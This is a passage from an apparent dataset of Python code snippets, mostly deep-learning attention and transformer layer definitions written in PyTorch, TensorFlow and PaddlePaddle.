features['query_neighbor_end_node_info_concat_emb']\\n query_neighbor_link_state_concat_emb = features['query_neighbor_link_state_concat_emb']\\n \\n support_x = self.constgat({\\n 'history_context': support_history_context_concat_emb,\\n 'link_info': support_link_info_concat_emb,\\n 'start_node_info': support_start_node_info_concat_emb,\\n 'end_node_info': support_end_node_info_concat_emb,\\n 'future_context': support_future_context_concat_emb,\\n 'neighbor_link_info': support_neighbor_link_info_concat_emb,\\n 'neighbor_start_node_info': support_neighbor_start_node_info_concat_emb,\\n 'neighbor_end_node_info': support_neighbor_end_node_info_concat_emb,\\n 'neighbor_link_state': support_neighbor_link_state_concat_emb})\\n\\n query_x = self.constgat({\\n 'history_context': query_history_context_concat_emb,\\n 'link_info': query_link_info_concat_emb,\\n 'start_node_info': query_start_node_info_concat_emb,\\n 'end_node_info': query_end_node_info_concat_emb,\\n 'future_context': query_future_context_concat_emb,\\n 'neighbor_link_info': query_neighbor_link_info_concat_emb,\\n 'neighbor_start_node_info': query_neighbor_start_node_info_concat_emb,\\n 'neighbor_end_node_info': query_neighbor_end_node_info_concat_emb,\\n 'neighbor_link_state': query_neighbor_link_state_concat_emb})\\n query_x = query_x + layers.reduce_sum(inputs['query_mask']) * 0.0 + layers.reduce_sum(inputs['support_mask']) * 0.0 # IMPORTANT: for save_inference_model\\n\\n def forward_attention(indicator, support_x, support_y_embed, support_mask, query_x, query_y, query_mask):\\n \\\"\\\"\\\"\\n support_indicator: length = support_len\\n if attention(support, query), indicator = 0\\n if attention(support, support), indicator = 1\\n \\\"\\\"\\\"\\n support_y_embed = support_y_embed * support_mask\\n support_xy = layers.concat([support_x, support_y_embed, indicator], axis=1)\\n\\n pad_value = layers.assign(input=numpy.array([0.0], dtype=numpy.float32))\\n support_pad, support_len = layers.sequence_pad(support_xy, pad_value=pad_value)\\n query_pad, query_len = layers.sequence_pad(query_x, pad_value=pad_value)\\n\\n attention = self.attention(query_pad, support_pad, support_pad, self.hidden_dim, 'meta')\\n attention = layers.sequence_unpad(attention, length=query_len)\\n pred_input = layers.concat([attention, query_x], axis=1)\\n\\n pred = self.prepare_preds_with_name(pred_input, 'out_pred')\\n label = layers.cast(query_y, dtype='float32')\\n label = layers.scale(label, scale=0.01)\\n\\n loss = layers.huber_loss(pred, label, 1.0) * query_mask\\n loss = layers.mean(loss)\\n return pred, label, loss\\n\\n indicator = support_y_embed * 0.0\\n pred, label, loss1 = forward_attention(\\n indicator, support_x, support_y_embed, inputs['support_mask'], \\n query_x, inputs['query_duration_delta'], 1.0)\\n indicator = support_y_embed * 1.0\\n _, _, loss2 = forward_attention(\\n indicator, support_x, support_y_embed, inputs['support_mask'], \\n support_x, inputs['support_duration_delta'] - 120, (inputs['support_mask'] * (-1.0) + 1))\\n loss = loss1 + loss2\\n return pred, label, loss\",\n \"def self_attention(self, hidden):\\n mul1 = self.attention1(hidden)\\n mul2 = self.attention2(mul1)\\n return self.softmax(mul2)\",\n \"def __init__(self, mbart_layer, config):\\n super().__init__(config)\\n self.in_proj_weight = nn.Parameter(torch.cat([mbart_layer.self_attn.q_proj.weight, mbart_layer.self_attn.k_proj.weight, mbart_layer.self_attn.v_proj.weight]))\\n self.in_proj_bias = nn.Parameter(torch.cat([mbart_layer.self_attn.q_proj.bias, mbart_layer.self_attn.k_proj.bias, mbart_layer.self_attn.v_proj.bias]))\\n self.out_proj_weight = mbart_layer.self_attn.out_proj.weight\\n self.out_proj_bias = mbart_layer.self_attn.out_proj.bias\\n self.linear1_weight = mbart_layer.fc1.weight\\n self.linear1_bias = mbart_layer.fc1.bias\\n self.linear2_weight = mbart_layer.fc2.weight\\n self.linear2_bias = mbart_layer.fc2.bias\\n self.norm1_eps = mbart_layer.self_attn_layer_norm.eps\\n self.norm1_weight = mbart_layer.self_attn_layer_norm.weight\\n self.norm1_bias = mbart_layer.self_attn_layer_norm.bias\\n self.norm2_eps = mbart_layer.final_layer_norm.eps\\n self.norm2_weight = mbart_layer.final_layer_norm.weight\\n self.norm2_bias = mbart_layer.final_layer_norm.bias\\n self.num_heads = mbart_layer.self_attn.num_heads\\n self.embed_dim = mbart_layer.self_attn.embed_dim\\n self.is_last_layer = False\\n self.norm_first = True\\n self.validate_bettertransformer()\",\n \"def nn_layer(input_tensor, input_dim, output_dim, act=tf.nn.relu):\\n\\n with tf.device('/device:SYCL:0'):\\n weights = weight_variable([input_dim, output_dim])\\n biases = bias_variable([output_dim])\\n preactivate = tf.matmul(input_tensor, weights) + biases\\n activations = act(preactivate, name='activation')\\n return activations\",\n \"def __init__(self, emb_size: int = 768, num_heads: int = 12, dropout: float = 0.1):\\n super().__init__()\\n self.emb_size = emb_size\\n self.num_heads = num_heads\\n\\n # Check \\\"head dim\\\" = number of features per head (d_k).\\n self.head_dim = emb_size // num_heads\\n assert self.head_dim * num_heads == self.emb_size, \\\"emb_size must be divisible by num_heads\\\"\\n # Calculate scaling factor.\\n self.scale = 1 / (self.head_dim ** 0.5)\\n\\n # V1: in vanilla self-attention Q,K,V are square matrices.\\n # self.keys = nn.Linear(emb_size, emb_size)\\n # self.queries = nn.Linear(emb_size, emb_size)\\n # self.values = nn.Linear(emb_size, emb_size)\\n \\n # V2: single layer with emb_size, split into num (heads * head_dim) * 3 (Q,K,V).\\n self.qkv = nn.Linear(emb_size, emb_size * 3)\\n\\n # Attention dropout.\\n self.att_drop = nn.Dropout(dropout)\\n self.projection = nn.Linear(emb_size, emb_size)\",\n \"def forward(self, graph, feat):\\n graph = graph.local_var()\\n\\n if isinstance(feat, tuple):\\n h_src = self.feat_drop(feat[0])\\n h_dst = self.feat_drop(feat[1])\\n feat_src = self.fc_src(h_src).view(-1, self._num_heads, self._out_feats)\\n feat_dst = self.fc_dst(h_dst).view(-1, self._num_heads, self._out_feats)\\n else:\\n h_src = h_dst = self.feat_drop(feat)\\n feat_src = feat_dst = self.fc(h_src).view(-1, self._num_heads,\\n self._out_feats)\\n el = (feat_src * self.attn_l).sum(dim=-1).unsqueeze(-1)\\n er = (feat_dst * self.attn_r).sum(dim=-1).unsqueeze(-1)\\n graph.srcdata.update({'ft': feat_src, 'el': el})\\n graph.dstdata.update({'er': er})\\n # compute edge attention, el and er are a_l Wh_i and a_r Wh_j respectively.\\n graph.apply_edges(fn.u_add_v('el', 'er', 'e'))\\n e = self.leaky_relu(graph.edata.pop('e'))\\n\\n one_minus_lambda_sparsemax = (1 - self.lambda_sparsemax)\\n lambda_score = e / one_minus_lambda_sparsemax\\n\\n sparse_attn = edge_sparsemax(graph, lambda_score)\\n graph.edata['a'] = self.attn_drop(sparse_attn)\\n self.attention_weights = graph.edata['a']\\n\\n # self.att_wrt_h = compute_att_wrt_h(self.attention_weights, self.fc.weight)\\n\\n graph.update_all(fn.u_mul_e('ft', 'a', 'm'), fn.sum('m', 'ft'))\\n rst = graph.dstdata['ft']\\n\\n # residual\\n if self.res_fc is not None:\\n resval = self.res_fc(h_dst).view(h_dst.shape[0], -1, self._out_feats)\\n rst = rst + resval\\n # activation\\n if self.activation:\\n rst = self.activation(rst)\\n return rst\",\n \"def local_attention(inputs, num_filters, filter_size=5, initializer=None, reuse=None,\\n name=''):\\n print(\\\"Local Attentional\\\")\\n weighted_inputs, _ = convolutional_attention(inputs, filter_size=filter_size,\\n initializer=initializer, name='local{}'.format(name),\\n reuse=reuse)\\n conv_output = build_cnn(weighted_inputs, num_filters, filter_sizes=3,\\n initializer=initializer, name='local{}'.format(name),\\n reuse=reuse)\\n print(conv_output)\\n return conv_output\",\n \"def forward(self, x):\\n\\n out = F.relu(self.conv1(x))\\n out = F.relu(self.conv2(out))\\n\\n out = F.relu(self.resnet_block(out))\\n\\n # 8 x 8 x 64\\n noise = self.sample_noise((out.shape[0], self.noise_dim, out.shape[2], out.shape[3]))\\n\\n # print(noise.shape)\\n # print(out.shape)\\n\\n out = torch.cat([out, noise], dim=1)\\n\\n # print(out.shape)\\n\\n out = F.relu(self.deconv1(out))\\n out = F.tanh(self.deconv2(out))\\n\\n return out\",\n \"def Attention_block(up_in,down_in,nf):\\n# def MyTile(alpha, channels):\\n# alpha = tf.tile(alpha, [1, 1, 1, 1, channels])\\n# return alpha\\n# def MyTile_output_shape(input_shape):\\n# shape = list(input_shape)\\n# assert len(shape) == 5 # only valid for 2D tensors\\n# shape[-1] *= channels\\n# return tuple(shape)\\n ndims = len(up_in.get_shape()) - 2\\n assert ndims in [1, 2, 3], \\\"ndims should be one of 1, 2, or 3. found: %d\\\" % ndims\\n input_channels = up_in.get_shape().as_list()[-1]\\n# batch_size1 = tf.shape(down_in)[0]\\n# nf = tf.min(batch_size0,batch_size1)\\n Conv = getattr(KL, 'Conv%dD' % ndims)\\n up = Conv(nf, kernel_size=1, padding='same',\\n kernel_initializer='he_normal', strides=2)(up_in)\\n down = Conv(nf, kernel_size=1, padding='same',\\n kernel_initializer='he_normal', strides=1)(down_in)\\n\\n# x = NCCLayer(channels=nf)([up,down])\\n x = Add()([up,down])\\n x = Activation('relu')(x)\\n x = Conv(1, kernel_size=1, padding='same',\\n kernel_initializer='he_normal', use_bias = True, bias_initializer='zeros',strides=1,activation='sigmoid')(x)\\n# x = Activation('sigmoid')(x)\\n upsample_layer = getattr(KL, 'UpSampling%dD' % ndims)\\n alpha = upsample_layer()(x)\\n# alpha = Lambda(MyTile)(alpha, input_channels)\\n alpha = MyTile(channels=input_channels)(alpha)\\n up_out = Multiply()([alpha,up_in])\\n return up_out\",\n \"def forward(self,\\n x: Tensor = None,\\n memory: Tensor = None,\\n src_mask: Tensor = None,\\n trg_mask: Tensor = None) -> Tensor:\\n # decoder/target self-attention\\n\\n x_norm = self.x_layer_norm(x)\\n# print(x_norm)\\n# trg_mask()\\n# print(trg_mask)\\n\\n h1 = self.trg_trg_att(x_norm, x_norm, x_norm, mask=trg_mask)\\n h1 = self.dropout(h1) + x\\n\\n\\n if self.src_trg_att:\\n # source-target attention\\n h1_norm = self.dec_layer_norm(h1)\\n h2 = self.src_trg_att(memory, memory, h1_norm, mask=src_mask)\\n # final position-wise feed-forward layer\\n o = self.feed_forward(self.dropout(h2) + h1)\\n else:\\n o = self.feed_forward(h1)\\n return o\",\n \"def forward(self,\\n spatial_x: Tensor = None,\\n semantic_x: Tensor = None,\\n memory: Tensor = None,\\n src_mask: Tensor = None,\\n trg_mask: Tensor = None) -> Tensor:\\n # decoder/target self-attention\\n\\n spatial_x_norm = self.spa_layer_norm(spatial_x) #64\\n semantic_x_norm = self.x_layer_norm(semantic_x) #256\\n\\n # layout attention\\n\\n h1 = self.trg_trg_att(spatial_x_norm, spatial_x_norm, spatial_x_norm, mask=trg_mask)\\n h1 = self.dropout(h1) + spatial_x\\n\\n# h2 = self.src_trg_att(memory, memory, semantic_x_norm, mask=src_mask)\\n# h2 = self.dropout(h2)\\n \\n o1 = self.feed_forward_h1(h1)\\n o2 = memory[:,1:,:]\\n o = torch.cat((o2, o1), dim=-1)\\n \\n return o\",\n \"def forward(self, src, src_mask=None, src_key_padding_mask=None):\\n # type: (Tensor, Optional[Tensor], Optional[Tensor]) -> Tensor\\n src = self.pre_norm(src)\\n\\n # Self attention layer\\n src2 = src\\n src2 = self.self_attn(src2, src2, src2, attn_mask=src_mask,\\n key_padding_mask=src_key_padding_mask)\\n src2 = src2[0] # no attention weights\\n src2 = src2 * self.resweight\\n src = src + self.dropout1(src2)\\n\\n # Pointiwse FF Layer\\n if self.factor_ff:\\n #src2 = self.fac_linear1(self.dropout(self.activation(self.linear1(src))))\\n #src = src + self.dropout2(src2 * self.resweight)\\n #src2 = self.linear2(self.dropout(self.activation(self.fac_linear2(src))))\\n #src = src + self.dropout2(src2 * self.resweight)\\n src2 = self.dropout1(self.fac_linear1(self.activation(self.linear1(src))))\\n src2 = self.linear2(self.dropout(self.activation(self.fac_linear2(src2))))\\n src = src + self.dropout2(src2 * self.resweight)\\n else:\\n src2 = src \\n src2 = self.linear2(self.dropout(self.activation(self.linear1(src2))))\\n src2 = src2 * self.resweight\\n src = src + self.dropout2(src2)\\n\\n if self.adapter_finetune:\\n src2 = src \\n src2 = self.ada_linear2(self.ada_dropout1(self.activation(self.ada_linear1(src2))))\\n src2 = src2 * self.resweight\\n src = src + self.ada_dropout2(src2)\\n \\n return src\",\n \"def __init__(self, input_dim=6, hidden_dim=128, T=10, in_features=2*128 + 16, num_layers=1, out_features=1):\\n super(InputAttentionEncoder, self).__init__()\\n self.input_dim = input_dim\\n self.hidden_dim = hidden_dim\\n self.T = T\\n\\n in_features = hidden_dim * 2 + T - 1\\n\\n self.lstm_unit = nn.LSTM(input_size=input_dim, hidden_size=hidden_dim, num_layers=num_layers)\\n self.attn_linear = nn.Linear(in_features=in_features, out_features=out_features)\\n self.bn1 = nn.BatchNorm1d(out_features)\\n self.fc2 = nn.Linear(out_features, out_features)\",\n \"def __init__(self, albert_layer, config):\\n super().__init__(config)\\n self.in_proj_weight = nn.Parameter(torch.cat([albert_layer.attention.query.weight, albert_layer.attention.key.weight, albert_layer.attention.value.weight]))\\n self.in_proj_bias = nn.Parameter(torch.cat([albert_layer.attention.query.bias, albert_layer.attention.key.bias, albert_layer.attention.value.bias]))\\n self.out_proj_weight = albert_layer.attention.dense.weight\\n self.out_proj_bias = albert_layer.attention.dense.bias\\n self.linear1_weight = albert_layer.ffn.weight\\n self.linear1_bias = albert_layer.ffn.bias\\n self.linear2_weight = albert_layer.ffn_output.weight\\n self.linear2_bias = albert_layer.ffn_output.bias\\n self.norm1_eps = albert_layer.attention.LayerNorm.eps\\n self.norm1_weight = albert_layer.attention.LayerNorm.weight\\n self.norm1_bias = albert_layer.attention.LayerNorm.bias\\n self.norm2_eps = albert_layer.full_layer_layer_norm.eps\\n self.norm2_weight = albert_layer.full_layer_layer_norm.weight\\n self.norm2_bias = albert_layer.full_layer_layer_norm.bias\\n self.num_heads = albert_layer.attention.num_attention_heads\\n self.embed_dim = albert_layer.attention.all_head_size\\n self.is_last_layer = False\\n self.validate_bettertransformer()\",\n \"def __init__(self, bart_layer, config):\\n super().__init__(config)\\n self.in_proj_weight = nn.Parameter(torch.cat([bart_layer.self_attn.q_proj.weight, bart_layer.self_attn.k_proj.weight, bart_layer.self_attn.v_proj.weight]))\\n self.in_proj_bias = nn.Parameter(torch.cat([bart_layer.self_attn.q_proj.bias, bart_layer.self_attn.k_proj.bias, bart_layer.self_attn.v_proj.bias]))\\n self.out_proj_weight = bart_layer.self_attn.out_proj.weight\\n self.out_proj_bias = bart_layer.self_attn.out_proj.bias\\n self.linear1_weight = bart_layer.fc1.weight\\n self.linear1_bias = bart_layer.fc1.bias\\n self.linear2_weight = bart_layer.fc2.weight\\n self.linear2_bias = bart_layer.fc2.bias\\n self.norm1_eps = bart_layer.self_attn_layer_norm.eps\\n self.norm1_weight = bart_layer.self_attn_layer_norm.weight\\n self.norm1_bias = bart_layer.self_attn_layer_norm.bias\\n self.norm2_eps = bart_layer.final_layer_norm.eps\\n self.norm2_weight = bart_layer.final_layer_norm.weight\\n self.norm2_bias = bart_layer.final_layer_norm.bias\\n self.num_heads = bart_layer.self_attn.num_heads\\n self.embed_dim = bart_layer.self_attn.embed_dim\\n self.is_last_layer = False\\n self.validate_bettertransformer()\",\n \"def __init__(self, cfg, name=''):\\n nn.Layer.__init__(self)\\n self.cfg = cfg\\n d_model = cfg['hidden_size']\\n d_emb = cfg.get('emb_size', cfg['hidden_size'])\\n d_vocab = cfg['vocab_size']\\n d_pos = cfg['max_position_embeddings']\\n # d_sent = cfg.get(\\\"sent_type_vocab_size\\\", 4) or cfg.get('type_vocab_size', 4)\\n if cfg.get('sent_type_vocab_size'):\\n d_sent = cfg['sent_type_vocab_size']\\n else:\\n d_sent = cfg.get('type_vocab_size', 2)\\n self.n_head = cfg['num_attention_heads']\\n self.return_additional_info = cfg.get('return_additional_info', False)\\n self.initializer = nn.initializer.TruncatedNormal(std=cfg['initializer_range'])\\n\\n self.ln = _build_ln(d_model, name=append_name(name, 'pre_encoder'))\\n self.word_emb = nn.Embedding(d_vocab,\\n d_emb,\\n weight_attr=paddle.ParamAttr(name=append_name(name, 'word_embedding'),\\n initializer=self.initializer))\\n self.pos_emb = nn.Embedding(d_pos,\\n d_emb,\\n weight_attr=paddle.ParamAttr(name=append_name(name, 'pos_embedding'),\\n initializer=self.initializer))\\n # self.sent_emb = nn.Embedding(\\n # d_sent,\\n # d_emb,\\n # weight_attr=paddle.ParamAttr(name=append_name(name, 'sent_embedding'), initializer=self.initializer))\\n self._use_sent_id = cfg.get('use_sent_id', True)\\n self._use_sent_id = False\\n if self._use_sent_id:\\n self.sent_emb = nn.Embedding(d_sent,\\n d_emb,\\n weight_attr=paddle.ParamAttr(name=append_name(name, 'sent_embedding'),\\n initializer=self.initializer))\\n self._use_task_id = cfg.get('use_task_id', False)\\n self._use_task_id = False\\n if self._use_task_id:\\n self._task_types = cfg.get('task_type_vocab_size', 3)\\n logging.info('using task_id, #task_types:{}'.format(self._task_types))\\n self.task_emb = nn.Embedding(self._task_types,\\n d_emb,\\n weight_attr=paddle.ParamAttr(name=append_name(name, 'task_embedding'),\\n initializer=self.initializer))\\n\\n prob = cfg['hidden_dropout_prob']\\n self.dropout = nn.Dropout(p=prob)\\n\\n self.encoder_stack = ErnieEncoderStack(cfg, append_name(name, 'encoder'))\\n\\n if cfg.get('has_pooler', True):\\n self.pooler = _build_linear(cfg['hidden_size'], cfg['hidden_size'], append_name(name, 'pooled_fc'),\\n self.initializer)\\n else:\\n self.pooler = None\\n\\n self.key_tag = None\\n self._checkpoints = []\\n self.train()\",\n \"def transformer_model(input_tensor,\\n attention_mask=None,\\n hidden_size=768,\\n num_hidden_layers=12,\\n num_attention_heads=12,\\n intermediate_size=3072,\\n intermediate_act_fn=gelu,\\n hidden_dropout_prob=0.1,\\n attention_probs_dropout_prob=0.1,\\n initializer_range=0.02,\\n do_return_all_layers=False,\\n conv_kernel_size=3,\\n head_ratio=2,\\n conv_type=\\\"noconv\\\",\\n **kargs):\\n if hidden_size % num_attention_heads != 0:\\n raise ValueError(\\n \\\"The hidden size (%d) is not a multiple of the number of attention \\\"\\n \\\"heads (%d)\\\" % (hidden_size, num_attention_heads))\\n\\n attention_head_size = int(hidden_size / num_attention_heads)\\n input_shape = bert_utils.get_shape_list(input_tensor, expected_rank=3)\\n batch_size = input_shape[0]\\n seq_length = input_shape[1]\\n input_width = input_shape[2]\\n\\n # The Transformer performs sum residuals on all layers so the input needs\\n # to be the same as the hidden size.\\n if input_width != hidden_size:\\n raise ValueError(\\\"The width of the input tensor (%d) != hidden size (%d)\\\" %\\n (input_width, hidden_size))\\n\\n # We keep the representation as a 2D tensor to avoid re-shaping it back and\\n # forth from a 3D tensor to a 2D tensor. Re-shapes are normally free on\\n # the GPU/CPU but may not be free on the TPU, so we want to minimize them to\\n # help the optimizer.\\n prev_output = bert_utils.reshape_to_matrix(input_tensor)\\n\\n attn_maps = []\\n all_layer_outputs = []\\n all_value_outputs = []\\n for layer_idx in range(num_hidden_layers):\\n with tf.variable_scope(\\\"layer_%d\\\" % layer_idx):\\n with tf.variable_scope(\\\"attention\\\"):\\n attention_heads = []\\n with tf.variable_scope(\\\"self\\\"):\\n attention_head, probs, value_layer = attention_layer(\\n from_tensor=prev_output,\\n to_tensor=prev_output,\\n attention_mask=attention_mask,\\n num_attention_heads=num_attention_heads,\\n size_per_head=attention_head_size,\\n attention_probs_dropout_prob=attention_probs_dropout_prob,\\n initializer_range=initializer_range,\\n do_return_2d_tensor=True,\\n batch_size=batch_size,\\n from_seq_length=seq_length,\\n to_seq_length=seq_length,\\n conv_kernel_size=conv_kernel_size,\\n head_ratio=head_ratio,\\n conv_type=conv_type,\\n from_tensor_mask=kargs.get('from_tensor_mask', None),\\n to_tensor_mask=kargs.get('to_tensor_mask', None),\\n conv_method=kargs.get('conv_method', \\\"dot\\\"))\\n attention_heads.append(attention_head)\\n attn_maps.append(probs)\\n all_value_outputs.append(value_layer)\\n\\n attention_output = None\\n if len(attention_heads) == 1:\\n attention_output = attention_heads[0]\\n else:\\n # In the case where we have other sequences, we just concatenate\\n # them to the self-attention head before the projection.\\n attention_output = tf.concat(attention_heads, axis=-1)\\n\\n with tf.variable_scope(\\\"output\\\"):\\n # Run a linear projection of `hidden_size` then add a residual\\n # with `layer_input`.\\n attention_output = tf.layers.dense(\\n attention_output,\\n hidden_size,\\n kernel_initializer=create_initializer(initializer_range))\\n \\n\\n attention_output = dropout(attention_output, hidden_dropout_prob)\\n attention_output = layer_norm(attention_output + prev_output)\\n\\n # The activation is only applied to the \\\"intermediate\\\" hidden layer.\\n with tf.variable_scope(\\\"intermediate\\\"):\\n intermediate_output = tf.layers.dense(\\n attention_output,\\n intermediate_size,\\n activation=intermediate_act_fn,\\n kernel_initializer=create_initializer(initializer_range))\\n # Down-project back to `hidden_size` then add the residual.\\n with tf.variable_scope(\\\"output\\\"):\\n prev_output = tf.layers.dense(\\n intermediate_output,\\n hidden_size,\\n kernel_initializer=create_initializer(initializer_range))\\n\\n prev_output = dropout(prev_output, hidden_dropout_prob)\\n prev_output = layer_norm(prev_output + attention_output)\\n all_layer_outputs.append(prev_output)\\n\\n attn_maps = tf.stack(attn_maps, 0)\\n if do_return_all_layers:\\n final_outputs = []\\n for layer_output in all_layer_outputs:\\n final_output = bert_utils.reshape_from_matrix(layer_output, input_shape)\\n final_outputs.append(final_output)\\n return final_outputs, attn_maps, all_value_outputs\\n else:\\n final_output = bert_utils.reshape_from_matrix(prev_output, input_shape)\\n return final_output, attn_maps, all_value_outputs\",\n \"def forward(self, x, src_states, src_mask, tgt_mask):\\n x = self.sublayer[0](x, lambda x: self.self_attn(x, x, x, tgt_mask))\\n #print('decoder')\\n #print(x.shape)\\n x = self.sublayer[1](x, lambda x: self.src_attn(x, src_states, src_states, src_mask))\\n #print(x.shape)\\n return self.sublayer[2](x, self.feed_forward)\",\n \"def __init__(self, bert_layer, config):\\n super().__init__(config)\\n self.in_proj_weight = nn.Parameter(torch.cat([bert_layer.attention.self.query.weight, bert_layer.attention.self.key.weight, bert_layer.attention.self.value.weight]))\\n self.in_proj_bias = nn.Parameter(torch.cat([bert_layer.attention.self.query.bias, bert_layer.attention.self.key.bias, bert_layer.attention.self.value.bias]))\\n self.out_proj_weight = bert_layer.attention.output.dense.weight\\n self.out_proj_bias = bert_layer.attention.output.dense.bias\\n self.linear1_weight = bert_layer.intermediate.dense.weight\\n self.linear1_bias = bert_layer.intermediate.dense.bias\\n self.linear2_weight = bert_layer.output.dense.weight\\n self.linear2_bias = bert_layer.output.dense.bias\\n self.norm1_eps = bert_layer.attention.output.LayerNorm.eps\\n self.norm1_weight = bert_layer.attention.output.LayerNorm.weight\\n self.norm1_bias = bert_layer.attention.output.LayerNorm.bias\\n self.norm2_eps = bert_layer.output.LayerNorm.eps\\n self.norm2_weight = bert_layer.output.LayerNorm.weight\\n self.norm2_bias = bert_layer.output.LayerNorm.bias\\n self.num_heads = bert_layer.attention.self.num_attention_heads\\n self.embed_dim = bert_layer.attention.self.all_head_size\\n self.is_last_layer = False\\n self.validate_bettertransformer()\",\n \"def __init__(\\n self,\\n d_model: int,\\n nheads: int,\\n ff_dim: int,\\n bias: bool = False,\\n dropout: float = 0.2,\\n ):\\n super().__init__()\\n self.d_model = d_model\\n self.nheads = nheads\\n self.ff_dim = ff_dim\\n self.norm1 = nn.LayerNorm(d_model)\\n self.norm2 = nn.LayerNorm(d_model)\\n self.self_attention = MultiHeadAttention(d_model, nheads, bias, dropout)\\n self.feedforward = PositionwiseFeedforward(d_model, ff_dim)\",\n \"def __init__(self, cfg):\\n super(MHBCoAtt, self).__init__()\\n self.cfg = cfg\\n # word embedding: q_vocab_size, 1024\\n self.word_embedding = nn.Embedding(cfg.q_vocab_size, cfg.emb_dim)\\n # LSTM\\n if cfg.glove:\\n self.lstm = nn.LSTM(input_size=cfg.emb_dim*2,\\n hidden_size=cfg.hidden_dim,\\n num_layers=cfg.num_layers,\\n batch_first=True)\\n else:\\n self.lstm = nn.LSTM(input_size=cfg.emb_dim,\\n hidden_size=cfg.hidden_dim,\\n num_layers=cfg.num_layers,\\n batch_first=True)\\n\\n self.dropout_l = nn.Dropout(p = 0.3)\\n # question attention\\n self.ques_att_conv1 = nn.Conv2d(cfg.hidden_dim, 512, [1,1])\\n self.ques_att_conv2 = nn.Conv2d(512, 2, [1,1])\\n\\n # question attentive feature fuse with image feature, according to paper: k * o = 5000, k = 5\\n self.ques_proj1 = nn.Linear(2*cfg.hidden_dim, 5000)\\n self.img_conv1d = nn.Conv2d(cfg.img_feature_channel, 5000, [1, 1])\\n self.dropout_m = nn.Dropout(p = 0.1)\\n\\n # co-attention conv layers\\n self.co_att_conv1 = nn.Conv2d(1000, 512, [1,1])\\n self.co_att_conv2 = nn.Conv2d(512, 2, [1,1])\\n\\n # co_attentive feature fuse with question attentive feature\\n self.ques_proj2 = nn.Linear(2*cfg.hidden_dim, 5000)\\n self.ques_proj3 = nn.Linear(2*cfg.hidden_dim, 5000)\\n self.img_proj2 = nn.Linear(2*cfg.img_feature_channel, 5000)\\n self.img_proj3 = nn.Linear(2*cfg.img_feature_channel, 5000)\\n\\n # prediction fully connected layer\\n self.linear_pred = nn.Linear(2000, cfg.a_vocab_size)\",\n \"def graph_transformer(name, gw,\\n feature,\\n hidden_size,\\n num_heads=4,\\n attn_drop=False,\\n edge_feature=None,\\n concat=True,\\n skip_feat=True,\\n gate=False,\\n layer_norm=True, \\n relu=True, \\n is_test=False):\\n def send_attention(src_feat, dst_feat, edge_feat):\\n if edge_feat is None or not edge_feat:\\n output = src_feat[\\\"k_h\\\"] * dst_feat[\\\"q_h\\\"]\\n output = L.reduce_sum(output, -1)\\n output = output / (hidden_size ** 0.5)\\n# alpha = paddle_helper.sequence_softmax(output)\\n return {\\\"alpha\\\": output, \\\"v\\\": src_feat[\\\"v_h\\\"]} # batch x h batch x h x feat\\n else:\\n edge_feat = edge_feat[\\\"edge\\\"]\\n edge_feat = L.reshape(edge_feat, [-1, num_heads, hidden_size])\\n output = (src_feat[\\\"k_h\\\"] + edge_feat) * dst_feat[\\\"q_h\\\"]\\n output = L.reduce_sum(output, -1)\\n output = output / (hidden_size ** 0.5)\\n# alpha = paddle_helper.sequence_softmax(output)\\n return {\\\"alpha\\\": output, \\\"v\\\": (src_feat[\\\"v_h\\\"] + edge_feat)} # batch x h batch x h x feat\\n\\n class Reduce_attention():\\n def __init__(self,):\\n self.alpha = None\\n def __call__(self, msg):\\n alpha = msg[\\\"alpha\\\"] # lod-tensor (batch_size, num_heads)\\n if attn_drop:\\n old_h = alpha\\n dropout = F.data(name='attn_drop', shape=[1], dtype=\\\"int64\\\")\\n u = L.uniform_random(shape=L.cast(L.shape(alpha)[:1], 'int64'), min=0., max=1.)\\n keeped = L.cast(u > dropout, dtype=\\\"float32\\\")\\n self_attn_mask = L.scale(x=keeped, scale=10000.0, bias=-1.0, bias_after_scale=False)\\n n_head_self_attn_mask = L.stack( x=[self_attn_mask] * num_heads, axis=1)\\n n_head_self_attn_mask.stop_gradient = True\\n alpha = n_head_self_attn_mask+ alpha\\n alpha = L.lod_reset(alpha, old_h)\\n\\n h = msg[\\\"v\\\"]\\n alpha = paddle_helper.sequence_softmax(alpha)\\n \\n self.alpha = alpha\\n old_h = h\\n h_mean = L.sequence_pool(h, \\\"average\\\")\\n h = h * alpha\\n h = L.lod_reset(h, old_h)\\n h = L.sequence_pool(h, \\\"sum\\\")\\n\\n h = h * 0.8 + h_mean * 0.2\\n \\n if concat:\\n h = L.reshape(h, [-1, num_heads * hidden_size])\\n else:\\n h = L.reduce_mean(h, dim=1)\\n return h\\n reduce_attention = Reduce_attention()\\n \\n q = linear(feature, hidden_size * num_heads, name=name + '_q_weight', init_type='gcn')\\n k = linear(feature, hidden_size * num_heads, name=name + '_k_weight', init_type='gcn')\\n v = linear(feature, hidden_size * num_heads, name=name + '_v_weight', init_type='gcn')\\n \\n \\n reshape_q = L.reshape(q, [-1, num_heads, hidden_size])\\n reshape_k = L.reshape(k, [-1, num_heads, hidden_size])\\n reshape_v = L.reshape(v, [-1, num_heads, hidden_size])\\n\\n msg = gw.send(\\n send_attention,\\n nfeat_list=[(\\\"q_h\\\", reshape_q), (\\\"k_h\\\", reshape_k),\\n (\\\"v_h\\\", reshape_v)],\\n efeat_list=edge_feature)\\n out_feat = gw.recv(msg, reduce_attention)\\n checkpoints=[out_feat]\\n \\n if skip_feat:\\n if concat:\\n\\n out_feat, cks = appnp(gw, out_feat, k_hop=3, name=name+\\\"_appnp\\\")\\n# out_feat, cks = appnp(gw, out_feat, k_hop=3)\\n checkpoints.append(out_feat)\\n \\n# The UniMP-xxlarge will come soon.\\n# out_feat, cks = appnp(gw, out_feat, k_hop=6)\\n# out_feat, cks = appnp(gw, out_feat, k_hop=9)\\n# checkpoints = checkpoints + cks\\n\\n \\n skip_feature = linear(feature, hidden_size * num_heads, name=name + '_skip_weight', init_type='lin')\\n else:\\n \\n skip_feature = linear(feature, hidden_size, name=name + '_skip_weight', init_type='lin')\\n \\n if gate:\\n temp_output = L.concat([skip_feature, out_feat, out_feat - skip_feature], axis=-1)\\n gate_f = L.sigmoid(linear(temp_output, 1, name=name + '_gate_weight', init_type='lin'))\\n out_feat = skip_feature * gate_f + out_feat * (1 - gate_f)\\n else:\\n out_feat = skip_feature + out_feat\\n \\n if layer_norm:\\n lay_norm_attr = F.ParamAttr(initializer=F.initializer.ConstantInitializer(value=1))\\n lay_norm_bias = F.ParamAttr(initializer=F.initializer.ConstantInitializer(value=0))\\n out_feat = L.layer_norm(out_feat, name=name + '_layer_norm', \\n param_attr=lay_norm_attr, \\n bias_attr=lay_norm_bias,\\n scale=False,\\n shift=False)\\n if relu:\\n out_feat = 